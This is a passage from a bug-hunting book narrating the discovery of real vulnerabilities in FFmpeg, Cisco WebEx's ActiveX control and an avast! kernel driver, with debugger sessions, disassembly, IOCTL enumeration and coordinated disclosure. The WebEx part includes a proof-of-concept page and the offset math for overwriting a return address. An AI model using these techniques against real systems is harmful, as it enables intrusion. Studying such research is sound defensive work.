   cs   0x73    115
   ss   0x7b    123
   ds   0x7b    123
   es   0x7b    123
   fs   0x0    0
   gs   0x33    51
```

I also displayed the address where FFmpeg had attempted to store the value of EAX:

```
(gdb) x/1i $eip
0x809c89d <fourxm_read_header+509>:    mov   DWORD PTR [edx+ebp*1+0x10],eax
```

As expected, FFmpeg tried to write the value of EAX to the supplied address (0x855ffd0) of memalign()’s GOT entry.
This time FFmpeg crashed with a segmentation fault while trying to overwrite the read-only GOT entry (see the r--p permissions of the GOT at 0855f000-08560000). It seems that Full RELRO can indeed successfully mitigate GOT overwrites.

4.4 Lessons Learned

As a programmer:

- Don’t mix different data types.
- Learn about the hidden transformations done automatically by the compiler. These implicit conversions are subtle and cause a lot of security bugs (also see Section A.3).
- Get a solid grasp of C’s type conversions.
- Not all NULL pointer dereferences in user space are simple denial-of-service conditions. Some of them are really bad vulnerabilities that can lead to arbitrary code execution.
- Full RELRO helps to mitigate the GOT overwrite exploitation technique.

As a user of media players:

- Never trust media file extensions (see Section 2.5).

4.5 Addendum

Wednesday, January 28, 2009

The vulnerability was fixed (Figure 4-9 shows the timeline) and a new version of FFmpeg is available, so I released a detailed security advisory on my website. The bug was assigned CVE-2009-0385.
Figure 4-9: Timeline of the FFmpeg bug from notification to the release of a fixed version of FFmpeg

Notes

3. See http://www.trapkit.de/books/bhd/.
5. See http://www.trapkit.de/books/bhd/.
6. The patch from the FFmpeg maintainers can be found at http://git.videolan.org/?p=ffmpeg.git;a=commitdiff;h=0838cfdc8a10185604db5cd9d6bffad71279a0e8.
8. My security advisory that describes the details of the FFmpeg vulnerability can be found at http://www.trapkit.de/advisories/TKADV2009-004.txt.
Sunday, April 6, 2008
Dear Diary,

Vulnerabilities in browsers and browser add-ons are all the rage these days, so I decided to have a look at some ActiveX controls. The first one on my list was Cisco’s online meeting and web-conferencing software called WebEx, which is widely used in business. After spending some time reverse engineering the WebEx ActiveX control for Microsoft’s Internet Explorer, I found an obvious bug that I could have found in a few seconds if I had fuzzed the control instead of reading the assembly. Fail. ☺

5.1 Vulnerability Discovery

I used the following process to search for a vulnerability:

- Step 1: List the registered WebEx objects and exported methods.
- Step 2: Test the exported methods in the browser.
Step 3: Find the object methods in the binary.

Step 4: Find the user-controlled input values.

Step 5: Reverse engineer the object methods.

**NOTE** A download link for the vulnerable version of WebEx Meeting Manager can be found at http://www.trapkit.de/books/bhd/.

### Step 1: List the Registered WebEx Objects and Exported Methods

After downloading and installing the WebEx Meeting Manager software, I fired up COMRaider\(^1\) to generate a list of the exported interfaces the control provides to the caller. I clicked the **Start** button in COMRaider and selected **Scan a directory for registered COM servers** to test the WebEx components installed in `C:\Program Files\Webex\`.

As Figure 5-1 illustrates, two objects are registered in the WebEx install directory, and the object with GUID `{32E26FD9-F435-4A20-A561-35D4B987CFDC}` and **ProgID** `WebexUCFObject.WebexUCFObject.1` implements `IObjectSafety`. Internet Explorer will trust this object since it’s marked as **safe for initialization** and **safe for scripting**. That makes the object a promising target for “browse and you’re owned” attacks, since it’s possible to call its methods from within a web page.\(^2\)

![Figure 5-1: Registered WebEx objects in COMRaider](image)

Microsoft also provides a handy C# class called **ClassId.cs**\(^3\) that lists various properties of ActiveX controls. To use that class, I added the following lines to the source file and compiled it with the command-line version of Visual Studio’s C# compiler (**csc**):

```csharp
[...
namespace ClassId
{
    class ClassId
    {
        static void Main(string[] args)
```

---

1. COMRaider
2. **safe for initialization** and **safe for scripting**
3. **ClassId.cs**
{  
  SWI.ClassId_q.ClassId clsid = new SWI.ClassId_q.ClassId();

  if (args.Length == 0 || (args[0].Equals("/?") == true ||  
      args[0].ToLower().StartsWith("-h") == true) ||  
      args.Length < 1)
  {
    Console.WriteLine("Usage: ClassID.exe <CLSID>\n");
    return;
  }

  clsid.set_clsid(args[0]);
  System.Console.WriteLine(clsid.ToString());
}

To compile and use the tool, I ran the following commands in a  
command-prompt window:

C:\Documents and Settings\tk\Desktop> csc /warn:0 /nologo ClassId.cs  
C:\Documents and Settings\tk\Desktop> ClassId.exe {32E26FD9-F435-4A20-A561-35D48987CFDC}  
Clsid: {32E26FD9-F435-4A20-A561-35D48987CFDC}  
Progid: WebexUCFObject.WebexUCFObject.1  
Binary Path: C:\Program Files\WebEx\WebEx\824\atucfobj.dll  
Implements IObjectSafety: True  
Safe For Initialization (IObjectSafety): True  
Safe For Scripting (IObjectSafety): True  
Safe For Initialization (Registry): False  
Safe For Scripting (Registry): False  
KillBitted: False

The output of the tool shows that the object was indeed marked  
as safe for initialization and safe for scripting using IObjectSafety.  
I then clicked the Select button in COMRaider to see a list of  
the public methods exported by the object with GUID {32E26FD9-F435-4A20-A561-35D48987CFDC}. As illustrated in Figure 5-2, a method called NewObject() is exported by the object and takes a string value as input.

![Figure 5-2: Public methods exported by the object with GUID {32E26FD9-F435-4A20-A561-35D48987CFDC}.](image)
**Step 2: Test the Exported Methods in the Browser**

After I generated lists of the available objects and exported methods, I wrote a little HTML file that calls the `NewObject()` method with the help of VBScript:

```
01 <html>
02  <title>WebEx PoC 1</title>
03  <body>
04   <object classid="clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC" id="obj"></object>
05   <script language='vbscript'>
06     arg = String(12, "A")
07     obj.NewObject arg
08   </script>
09  </body>
10 </html>
```

**Listing 5-1**: HTML file to call the `NewObject()` method (*webex_poc1.html*).

In line 4 of Listing 5-1, the object with GUID or ClassID `{32E26FD9-F435-4A20-A561-35D4B987CFDC}` is instantiated. In line 7 the `NewObject()` method is called with a string value of 12 As as a parameter.

To test the HTML file, I implemented a little web server in Python that would serve the `webex_poc1.html` file to the browser (see Listing 5-2):

```
01 import string, cgi
02 from os import curdir, sep
03 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
04
05 class WWWHandler(BaseHTTPRequestHandler):
06    def do_GET(self):
07        try:
08            f = open(curdir + sep + "webex_poc1.html")
09            self.send_response(200)
10            self.send_header('Content-type', 'text/html')
11            self.end_headers()
12            self.wfile.write(f.read())
13            f.close()
14            return
15        except IOError:
16            self.send_error(404,'File Not Found: %s' % self.path)
17
18 def main():
19    try:
20        server = HTTPServer(('', 80), WWWHandler)
21        print 'server started'
22        server.serve_forever()
```
except KeyboardInterrupt:
    print 'shutting down server'
    server.socket.close()

if __name__ == '__main__':
    main()

Listing 5-2: Simple web server implemented in Python that serves the webex_poc1.html file to the browser (wwwserv.py)

While the ActiveX control of WebEx is marked as safe for scripting (see Figure 5-1), it has been designed so that it can be run only from the webex.com domain. In practice, this requirement can be bypassed with the help of a Cross-Site Scripting (XSS) vulnerability in the WebEx domain. Since XSS vulnerabilities are quite common in modern web applications, it shouldn’t be hard to identify such a vulnerability in the webex.com domain. To test the control without the need of an XSS vulnerability, I just added the following entry to my Windows hosts file (see C:\WINDOWS\system32\drivers\etc\hosts):

127.0.0.1 localhost, www.webex.com

After that, I started my little Python web server and pointed Internet Explorer to http://www.webex.com/ (see Figure 5-3).

Figure 5-3: Testing webex_poc1.html with my little Python web server
Step 3: Find the Object Methods in the Binary

So far I had collected the following information:

- There is a WebEx object with ClassID {32E26FD9-F435-4A20-A561-35D4B987CFDC}.
- This object implements IObjectSafety and is therefore a promising target, since its methods can be called from within the browser.
- The object exports a method called NewObject() that takes a user-controlled string value as input.

To reverse engineer the exported NewObject() method, I had to find it in the binary atucfobj.dll. To achieve this, I used a technique similar to the one Cody Pierce describes in one of his great MindshaRE articles. The general idea is to extract the addresses of the invoked methods from the arguments of OLEAUT32!DispCallFunc while debugging the browser.

If a method of an ActiveX control gets invoked, the DispCallFunc() function usually performs the actual call. This function is exported by OLEAUT32.dll. The address of the invoked method can be determined with the help of the first two parameters (called pvInstance and oVft) of DispCallFunc().

To find the address of the NewObject() method, I started Internet Explorer from within WinDbg (also see Section B.2 for a description of the debugger commands) and set the following breakpoint at OLEAUT32!DispCallFunc (see also Figure 5-4):

```
0:000> bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"
```

The debugger command bp OLEAUT32!DispCallFunc defines a breakpoint at the beginning of DispCallFunc(). If the breakpoint is triggered, the first two parameters of the function are evaluated. The first function parameter is referenced using the command poi(poi(esp+4)), and the second parameter is referenced by poi(esp+8). These values are added together, and their sum represents the address of the invoked method. Subsequently, the first line (L1) of the method’s disassembly is printed to the screen (u poi(result of the computation)), and the execution of the control is resumed (gc).

I then started Internet Explorer with the g (Go) command of WinDbg and navigated to http://www.webex.com/ again. As expected, the breakpoint triggered in WinDbg showed the memory address of the called NewObject() method in atucfobj.dll.

As illustrated in Figure 5-5, the memory address of the NewObject() method was 0x01d5767f in this example. The atucfobj.dll itself was loaded at address 0x01d50000 (see ModLoad: 01d50000 01d69000 C:\Program Files\WebEx\WebEx\A824\atucfobj.dll in Figure 5-5). So the offset of NewObject() in atucfobj.dll was 0x01d5767f - 0x01d50000 = 0x767F.
Figure 5-4: Defining a breakpoint at OLEAUT32!DispCallFunc in Internet Explorer

Figure 5-5: WinDbg showing the memory address of the NewObject() method
Step 4: Find the User-Controlled Input Values

Next, I disassembled the binary \texttt{C:\Program Files\WebEx\WebEx\824\atucfobj.dll} with IDA Pro. In IDA, the imagebase of atucfobj.dll was 0x10000000. So \texttt{NewObject()} was located at address 0x1000767f (imagebase + offset of \texttt{NewObject()}: 0x10000000 + 0x767F) in the disassembly (see Figure 5-6).

![Figure 5-6: Disassembly of the NewObject() method in IDA Pro](image)

Before I started reading the assembly, I had to ensure what function argument holds the user-controlled string value provided through the VBScript in Listing 5-1. Since the argument is a string, I guessed that my value was being held in the second parameter, \texttt{lpWideCharStr}, shown in IDA. I wanted to be sure, however, so I defined a new breakpoint at the \texttt{NewObject()} method and had a look at the arguments in the debugger (see Section B.2 for a description of the following debugger commands).

As illustrated in Figure 5-7, I defined the new breakpoint at the address of \texttt{NewObject()} (0:009> bp 01d5767f), continued the execution of Internet Explorer (0:009> g), and again navigated to the \texttt{http://www.webex.com/} domain. When the breakpoint was triggered, I inspected the value of the second function argument of \texttt{NewObject()} (0:000> dd poi(esp+8) and 0:000> du poi(esp+8)). As the debugger output shows, the user-controlled data (a wide-character string consisting of 12 As) was indeed passed to the function through the second argument.

Finally, I had all information I needed to start auditing the method for security bugs.
Step 5: Reverse Engineer the Object Methods

To recap, I found an obvious vulnerability that happens while the ActiveX control processes the user-supplied string value that gets passed to NewObject(). Figure 5-8 illustrates the code path to reach the vulnerable function.

Figure 5-8: Code path to reach the vulnerable function (created in IDA Pro)
In sub_1000767F the user-provided wide-character string is converted to a character string using the `WideCharToMultiByte()` function. After that, sub_10009642 is called, and the user-controlled character string is copied into another buffer. The code in sub_10009642 allows a maximum of 256 user-controlled bytes to be copied into this new character buffer (pseudo C code: `strncpy (new_buffer, user_controlled_string, 256)`). The function sub_10009826 is called, and it calls sub_100096D0, which then calls the vulnerable function sub_1000B37D.

The first argument of sub_1000B37D, called cbData, holds a pointer to the user-controlled data stored in the new character buffer (see new_buffer in the description of Figure 5-8). As I said before, the user-controlled wide-character data is stored in this new buffer as a character string with a maximum length of 256 bytes. Listing 5-3 shows that the `sprintf()` function at address .text:1000B39D copies the user-controlled data pointed to by cbData into a stack buffer called SubKey (see .text:1000B387 and .text:1000B39C).
Next, I tried to retrieve the size of this SubKey stack buffer. I opened IDA Pro’s default stack frame displays by pressing `CTRL-K`. As shown in Figure 5-9, the stack buffer SubKey has a fixed size of 260 bytes. If the information from the disassembly shown in Listing 5-3 is combined with the information on the stack layout of the vulnerable function, the call to `sprintf()` can be expressed with the C code in Listing 5-4.

![Figure 5-9: Determining the size of the SubKey stack buffer using IDA Pro’s default stack frame displays](image)

```c
int sub_1000B37D(DWORD cbData, LPBYTE lpData, int val1, int val2, int val3)
{
    char SubKey[260];

    sprintf(&SubKey, "SOFTWARE\Webex\UCF\Components\%s\%s\Install", "Authoring", cbData);

    [..]
```

**Listing 5-4:** Pseudo C code of the vulnerable call to `sprintf()`

The `sprintf()` library function copies the user-controlled data from `cbData` as well as the string “Authoring” (9 bytes) and the format string (39 bytes) into `SubKey`. If `cbData` is filled with the maximum amount of user-controlled data (256 bytes), a total of 304 bytes of data will be copied into the stack buffer. `SubKey` can only hold up to 260 bytes, and `sprintf()` doesn’t perform any length check. Therefore, as shown in Figure 5-10, it’s possible to write user-controlled data out of the bounds of `SubKey`, which leads to a stack buffer overflow (see Section A.1).
5.2 Exploitation

After I found the vulnerability, exploitation was easy. All I had to do was tweak the length of the string argument supplied to NewObject() to overflow the stack buffer and gain control of the return address of the current stack frame.

As illustrated in Figure 5-9, the distance from the SubKey buffer to the saved return address on the stack is 272 bytes (the offset of the saved return address (+00000004) minus the offset of SubKey (-0000010C): 0x4 - -0x10c = 0x110 (272)). I also had to account for the fact that the string “Authoring” and part of the format string will be copied into SubKey right before the user-controlled data (see Figure 5-10). All in all I had to subtract 40 bytes (“SOFTWARE\Webex\UCF\Components\Authoring\”) from the distance between SubKey and the saved return address (272 – 40 = 232). So I had to provide 232 bytes of dummy data to fill the stack and reach the saved return address. The following 4 bytes of the user-controlled data should then overwrite the value of the saved return address on the stack.

So I changed the number of supplied characters in line 6 of webex_poc1.html and named the new file webex_poc2.html (see Listing 5-5):

```html
01 <html>
02 <title>WebEx PoC 2</title>
03 <body>
04 <object classid="clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC" id="obj"></object>
```
Then, I adjusted the little Python web server to serve the new HTML file.

The original `wwwserv.py`:

```python
f = open(curdir + sep + "webex_poc1.html")
```

The adjusted `wwwserv.py`:

```python
f = open(curdir + sep + "webex_poc2.html")
```

I restarted the web server, loaded Internet Explorer in WinDbg, and navigated to `http://www.webex.com/` again.

As illustrated in Figure 5-11, I now had full control over EIP. The bug could be easily exploited for arbitrary code execution using the well-known heap spraying technique.
As usual, German laws prevent me from providing a full working exploit, but if you’re interested, you can watch a short video I recorded that shows the exploit in action on the book’s website.9

As I mentioned before, I could have found the bug much faster if I had fuzzed the ActiveX control with COMRaider instead of reading the assembly. But hey, fuzzing is not as cool as reading assembly, right?

5.3 Vulnerability Remediation

Thursday, August 14, 2008

In Chapters 2, 3, and 4, I disclosed the security bugs directly to the vendor of the compromised software and helped it to create a patch. I chose another disclosure process for this bug. This time I didn’t notify the vendor directly but rather sold the bug to a vulnerability broker (Verisign’s iDefense Lab Vulnerability Contributor Program [VCP]) and let it coordinate with Cisco (see Section 2.3).

I contacted iDefense on April 8, 2008. It accepted my submission and informed Cisco of the issue. While Cisco was working on a new version of the ActiveX control, another security researcher named Elazar Broad rediscovered the bug in June 2008. He also informed Cisco but then disclosed the bug publicly in the process known as full disclosure.10 Cisco released a fixed version of WebEx Meeting Manager, as well as a security advisory, on August 14, 2008. All in all it was a great mess, but in the end Elazar and I made the Web a safer place.

5.4 Lessons Learned

• There are still obvious, easily exploitable bugs in widely deployed (enterprise) software products.

• Cross-site scripting breaks ActiveX domain restrictions. This is also true for Microsoft’s SiteLock.11

• From a bug hunter’s perspective, ActiveX controls are promising and valuable targets.

• Vulnerability rediscovery happens (way too often).

5.5 Addendum

Wednesday, September 17, 2008

The vulnerability is fixed and a new version of WebEx Meeting Manager is available, so I released a detailed security advisory on my website today.12 The bug was assigned CVE-2008-3558. Figure 5-12 shows the timeline of the vulnerability fix.
Figure 5-12: Timeline from discovery of the WebEx Meeting Manager vulnerability until the release of the security advisory

Notes

1. COMRaider from iDefense is a great tool to enumerate and fuzz COM object interfaces. See http://labs.idefense.com/software/download/?downloadID=23.


3. See “Not safe = not dangerous? How to tell if ActiveX vulnerabilities are exploitable in Internet Explorer” at http://blogs.technet.com/srd/archive/2008/02/03/activex-controls.aspx.

4. For more information on cross-site scripting, refer to https://www.owasp.org/index.php/Cross-site_Scripting_(XSS).


11. For more information on Microsoft’s SiteLock, see http://msdn.microsoft.com/en-us/library/bb250471%28VS.85%29.aspx.

12. My security advisory that describes the details of the WebEx Meeting Manager vulnerability can be found at http://www.trapkit.de/advisories/TKADV2008-009.txt.
Saturday, March 8, 2008
Dear Diary,

After spending time auditing open source kernels and finding some interesting bugs, I wondered whether I could find a bug in a Microsoft Windows driver. There are lots of third-party drivers available for Windows, so choosing just a few to explore wasn’t easy. I finally chose some antivirus products, since they’re usually promising targets for bug hunting.¹ I visited VirusTotal² and chose the first antivirus product that I recognized on its list: avast! from ALWIL Software.³ That turned out to be a serendipitous decision.

¹ On June 1, 2010, ALWIL Software was renamed AVAST Software.
6.1 Vulnerability Discovery

I used the following steps to find the vulnerability:

- Step 1: Prepare a VMware guest for kernel debugging.
- Step 2: Generate a list of the drivers and device objects created by avast!
- Step 3: Check the device security settings.
- Step 4: List the IOCTLs.
- Step 5: Find the user-controlled input values.
- Step 6: Reverse engineer the IOCTL handler.

**Step 1: Prepare a VMware Guest for Kernel Debugging**

First, I set up a Windows XP VMware guest system that I configured for remote kernel debugging with WinDbg. The necessary steps are described in Section B.3.

**Step 2: Generate a List of the Drivers and Device Objects Created by avast!**

After downloading and installing the latest version of avast! Professional in the VMware guest system, I used DriverView to generate a list of the drivers that avast! loaded.

One of the benefits of DriverView is that it makes identification of third-party drivers easy. As illustrated in Figure 6-1, avast! loaded four drivers. I chose the first one on the list, called Aavmker4.sys, and used IDA Pro to generate a list of the device objects of that driver.

**NOTE** A driver can create device objects to represent devices, or an interface to the driver, at any time by calling IoCreateDevice or IoCreateDeviceSecure.

![DriverView](image)

*Figure 6-1: A list of the avast! drivers in DriverView*
After IDA disassembled the driver, I started reading the assembly of the driver’s initialization routine, called DriverEntry().

In the DriverEntry() function, a device called \Device\AavmKer4 (see \Device\AavmKer4) is created using the IoCreateDevice() function at address .text:0001064D. The illustrated assembly snippet of DriverEntry() can be translated into the following C code:

```c
RtlInitUnicodeString(&DestinationString, &L"\Device\AavmKer4");
retval = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22, 0, 0, &DeviceObject);
```
Step 3: Check the Device Security Settings

I then checked the security settings of the AavmKer4 device using WinObj (see Figure 6-2).\(^\text{11}\)

![Figure 6-2: Navigating to the security settings of the AavmKer4 device in WinObj](image)

To view the security settings of the device in WinObj, I right-clicked the device name, chose Properties from the option list, and then chose the Security tab. The device object allows every system user (Everyone group) to read from or to write to the device (see Figure 6-3). This means that every user of the system is allowed to send data to the IOCTLs implemented by the driver, which is great—this makes this driver a valuable target!

Step 4: List the IOCTLs

A Windows user space application must call DeviceIoControl() in order to send an IOCTL request to a kernel driver. Such calls to DeviceIoControl() cause the I/O manager of Windows to create an IRP_MJ_DEVICE_CONTROL request, which is sent to the topmost driver. The driver implements a special dispatch routine to handle IRP_MJ_DEVICE_CONTROL requests, and that dispatch routine is referenced through an array called MajorFunction[]. This array is an element of the DRIVER_OBJECT data structure, which can be found in ntdkl.h of the Windows Driver Kit.\(^\text{12}\) To save space, I removed the comments from the following code.
Figure 6-3: Viewing the security settings of \Device\AavmKer4

```c
typedef struct _DRIVER_OBJECT {
    CSHORT Type;
    CSHORT Size;
    PDEVICE_OBJECT DeviceObject;
    ULONG Flags;
    PVOID DriverStart;
    ULONG DriverSize;
    PVOID DriverSection;
    PDRIVER_EXTENSION DriverExtension;
    UNICODE_STRING DriverName;
    PUNICODE_STRING HardwareDatabase;
    PFAST_IO_DISPATCH FastIoDispatch;
    PDRIVER_INITIALIZE DriverInit;
    PDRIVER_STARTIO DriverStartIo;
    PDRIVER_UNLOAD DriverUnload;
    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT;
[...]
```
Below, the elements of the `MajorFunction[]` array are defined (also from `ntddk.h`):

```c
#define IRP_MJ_CREATE                   0x00
#define IRP_MJ_CREATE_NAMED_PIPE        0x01
#define IRP_MJ_CLOSE                    0x02
#define IRP_MJ_READ                     0x03
#define IRP_MJ_WRITE                    0x04
#define IRP_MJ_QUERY_INFORMATION        0x05
#define IRP_MJ_SET_INFORMATION          0x06
#define IRP_MJ_QUERY_EA                 0x07
#define IRP_MJ_SET_EA                   0x08
#define IRP_MJ_FLUSH_BUFFERS            0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION   0x0b
#define IRP_MJ_DIRECTORY_CONTROL        0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL      0x0d
#define IRP_MJ_DEVICE_CONTROL           0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL  0x0f
#define IRP_MJ_SHUTDOWN                 0x10
#define IRP_MJ_LOCK_CONTROL             0x11
#define IRP_MJ_CLEANUP                  0x12
#define IRP_MJ_CREATE_MAILSLOT          0x13
#define IRP_MJ_QUERY_SECURITY           0x14
#define IRP_MJ_SET_SECURITY             0x15
#define IRP_MJ_POWER                    0x16
#define IRP_MJ_SYSTEM_CONTROL           0x17
#define IRP_MJ_DEVICE_CHANGE            0x18
#define IRP_MJ_QUERY_QUOTA              0x19
#define IRP_MJ_SET_QUOTA                0x1a
#define IRP_MJ_PNP                      0x1b
#define IRP_MJ_PNP_POWER                0x1b
#define IRP_MJ_MAXIMUM_FUNCTION         0x1b
```

To list the IOCTLs implemented by a driver, I had to find the driver’s IOCTL dispatch routine. If I’d had access to the C code of the driver, this would have been easy, since I know that the assignment of the dispatch routine usually looks like this:

```c
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTL_dispatch_routine;
```

Unfortunately, I didn’t have access to the source code of the avast! `Aavmk4e.sys` driver. How could I find the dispatch assignment using only the disassembly provided by IDA Pro?

To answer this question, I needed more information about the `DRIVER_OBJECT` data structure. I attached WinDbg to the VMware guest system and used the `dt` command (see Section B.2 for a detailed
One Kernel to Rule Them All

The debugger output shows that the `MajorFunction[]` array starts at structure offset `0x38`. After looking at the `ntddk.h` header file of the Windows Driver Kit, I knew that `IRP_MJ_DEVICE_CONTROL` was located at offset `0x0e` in `MajorFunction[]` and that the element size of the array was a pointer (4 bytes on 32-bit platforms).

So the assignment can be expressed as the following:

In C:  
\[
\text{DriverObject->MajorFunction[IRP\_MJ\_DEVICE\_CONTROL]} = \text{IOCTL\_dispatch\_routine};
\]

Offsets:  
\[
\text{DriverObject} + 0x38 + 0x0e \times 4 = \text{IOCTL\_dispatch\_routine};
\]

Simplified form:  
\[
\text{DriverObject} + 0x70 = \text{IOCTL\_dispatch\_routine};
\]

There are countless ways to express this assignment in Intel assembly, but what I found in the driver code of avast! was these instructions:

[..]
.text:00010748  mov  eax, [ebp+DriverObject]
[..]
.text:00010750  mov  dword ptr [eax+70h], offset sub_1098C
[..]
At address .text:00010748, a pointer to a DRIVER_OBJECT is stored in EAX. Then at address .text:00010750, the function pointer of the IOCTL dispatch routine gets assigned to MajorFunction[IRP_MJ_DEVICE_CONTROL].

Assignment in C: DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = sub_1098c;
Offsets : DriverObject + 0x70 = sub_1098c;

I had finally found the IOCTL dispatch routine of the driver: sub_1098C! The IOCTL dispatch routine could also be found with the help of the debugger:

```
k> !droyb} AavmKer4 7
Driver object (86444f38) is for:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Aavmkker4.SYS - '\Driver\Aavmker4
Driver Extension List: (id , addr)
Device Object list:
863a9150
DriverEntry:  f792d620 Aavmker4
DriverStartIo: 00000000
DriverUnload: 00000000
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE          f792d766         Aavmker4+0x766
[01] IRP_MJ_CREATE_NAMED_PIPE f792d766         Aavmker4+0x766
[02] IRP_MJ_CLOSE           f792d766         Aavmker4+0x766
[03] IRP_MJ_READ            f792d766         Aavmker4+0x766
[04] IRP_MJ_WRITE           f792d766         Aavmker4+0x766
[05] IRP_MJ_QUERY_INFORMATION f792d766         Aavmker4+0x766
[06] IRP_MJ_SET_INFORMATION  f792d766         Aavmker4+0x766
[07] IRP_MJ_QUERY_EA        f792d766         Aavmker4+0x766
[08] IRP_MJ_SET_EA         f792d766         Aavmker4+0x766
[09] IRP_MJ_FLUSH_BUFFERS   f792d766         Aavmker4+0x766
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION f792d766 Aavmker4+0x766
[0b] IRP_MJ_SET_VOLUME_INFORMATION f792d766 Aavmker4+0x766
[0c] IRP_MJ_DIRECTORY_CONTROL f792d766 Aavmker4+0x766
[0d] IRP_MJ_FILE_SYSTEM_CONTROL f792d766 Aavmker4+0x766
[0e] IRP_MJ_DEVICE_CONTROL  f792d98c         Aavmker4+0x98c
[...]
```

The output of WinDbg shows that the IRP_MJ_DEVICE_CONTROL dispatch routine can be found at address Aavmker4+0x98c.

After I found the dispatch routine, I searched this function for the implemented IOCTLS. The IOCTL dispatch routine has the following prototype:13

```
NTSTATUS DispatchDeviceControl(
    _in struct _DEVICE_OBJECT *DeviceObject,
```
The second function parameter is a pointer to an *I/O request packet (IRP)* structure. An IRP is the basic structure that the Windows I/O manager uses to communicate with drivers and allow drivers to communicate with each other. This structure transports the user-supplied IOCTL data as well as the requested IOCTL code.\(^{14}\)

I then had a look at the disassembly of the dispatch routine in order to generate a list of the IOCTLS:

A pointer to the IRP structure is stored in EBX at address .text:000109B2 of the IOCTL dispatch routine. Then a value, located at offset 0x60 of the IRP structure, is referenced (see .text:000109B5).

The output of WinDbg shows that the IRP structure member CurrentStackLocation is located at offset 0x60. This structure is defined in *ntddk.h* of the Windows Driver Kit:
The layout of the _IO_STACK_LOCATION structure is shown below (see ntddk.h of the Windows Driver Kit):

typedef struct _IO_STACK_LOCATION {
    UCHAR MajorFunction;
    UCHAR MinorFunction;
    UCHAR Flags;
    UCHAR Control;
    [..]
    // System service parameters for: NtDeviceIoControlFile
    // Note that the user's output buffer is stored in the
    // UserBuffer field
    // and the user's input buffer is stored in the SystemBuffer
    // field.
    [..]
    struct {
        ULONG OutputBufferLength;
        ULONG POINTER_ALIGNMENT InputBufferLength;
        ULONG POINTER_ALIGNMENT IoControlCode;
        PVOID Type3InputBuffer;
    } DeviceIoControl;
    [..]

In addition to the IoControlCode of the requested IOCTL, this structure contains information about the size of the input and output buffer. Now that I had more information about the _IO_STACK_LOCATION structure, I took a second look at the disassembly:

.text:0001098C ; int __stdcall sub_1098C(int, PIRP Irp)
.text:0001098C sub_1098C proc near ; DATA XREF: DriverEntry+130
[..]
.text:000109B2 mov ebx, [ebp+Irp] ; ebx = address of IRP
.text:000109B5 mov eax, [ebx+60h] ; eax = address of CurrentStackLocation
.text:000109B8 mov esi, [eax+8] ; ULONG InputBufferLength
.text:000109BB mov [ebp+var_1C], esi ; save InputBufferLength in var_1C
.text:000109BE mov edx, [eax+4] ; ULONG OutputBufferLength
As I mentioned before, a pointer to _IO_STACK_LOCATION is stored in EAX at address .text:000109B5, and then at address .text:000109B8 the InputBufferLength is stored in ESI. At .text:000109BE the OutputBufferLength is stored in EDX, and at .text:000109C4 the IoControlCode is stored in EAX. Later, the requested IOCTL code stored in EAX is compared with the value 0xB2D6002C (see address .text:000109C7 and .text:000109CC). Hey, I found the first valid IOCTL code of the driver! I searched the function for all values that are compared with the requested IOCTL code in EAX and got a list of the supported IOCTLs of Aavmker4.sys.

**Step 5: Find the User-Controlled Input Values**

After I generated the list of all the supported IOCTLs, I tried to locate the buffer containing the user-supplied IOCTL input data. All IRP_MJ_DEVICE_CONTROL requests supply both an input buffer and an output buffer. The way the system describes these buffers depends on the data transfer type. The transfer type is stored in the IOCTL code itself. Under Microsoft Windows, the IOCTL code values are normally created using the CTL_CODE macro.15 Here’s another excerpt from ntdk.h:

```c
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-2047 are reserved for Microsoft Corporation, and
// 2048-4095 are reserved for customers.

#define CTL_CODE( DeviceType, Function, Method, Access ) (                 
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

// Define the method codes for how buffers are passed for I/O and FS controls

#define METHOD_BUFFERED            0
#define METHOD_IN_DIRECT           1
#define METHOD_OUT_DIRECT          2
#define METHOD_NEITHER             3
```
The transfer type is specified using the Method parameter of the CTL_CODE macro. I wrote a little tool to reveal which data transfer type is used by the IOCTLs of Aavmker4.sys:

```
01 #include <windows.h>
02 #include <stdio.h>
03
04 int
05 main (int argc, char *argv[])
06 {
07     unsigned int  method  = 0;
08     unsigned int  code    = 0;
09
10     if (argc != 2) {
11        fprintf (stderr, "Usage: %s <IOCTL code>\n", argv[0]);
12        return 1;
13     }
14
15     code = strtoul (argv[1], (char **) NULL, 16);
16     method = code & 3;
17
18     switch (method) {
19        case 0:
20           printf ("METHOD_BUFFERED\n");
21           break;
22        case 1:
23           printf ("METHOD_IN_DIRECT\n");
24           break;
25        case 2:
26           printf ("METHOD_OUT_DIRECT\n");
27           break;
28        case 3:
29           printf ("METHOD_NEITHER\n");
30           break;
31        default:
32           fprintf (stderr, "ERROR: invalid IOCTL data transfer method\n");
33           break;
34     }
35
36     return 0;
37 }
```

Listing 6-1: A little tool that I wrote (IOCTL_method.c) to show which data transfer type is used by the IOCTLs of Aavmker4.sys

I then compiled the tool with the command-line C compiler of Visual Studio (cl):

```
C:\BHD>cl /nologo IOCTL_method.c
IOCTL_method.c
```

The following output shows the tool from Listing 6-1 in action:

```
C:\BHD>IOCTL_method.exe B2D6002C
METHOD_BUFFERED
```
So the driver uses the `METHOD_BUFFERED` transfer type to describe the input and output buffers of an IOCTL request. According to the buffer descriptions in the Windows Driver Kit, the input buffer of IOCTLs, which use the `METHOD_BUFFERED` transfer type, can be found at `Irp->AssociatedIrp.SystemBuffer`.

Below is an example of a reference to the input buffer in the disassembly of `Aavmker4.sys`:

```asm
[...
.text:00010CF1     mov     eax, [ebx+0Ch]  ; ebx = address of IRP
.text:00010CF4     mov     eax, [eax]
[...]
```

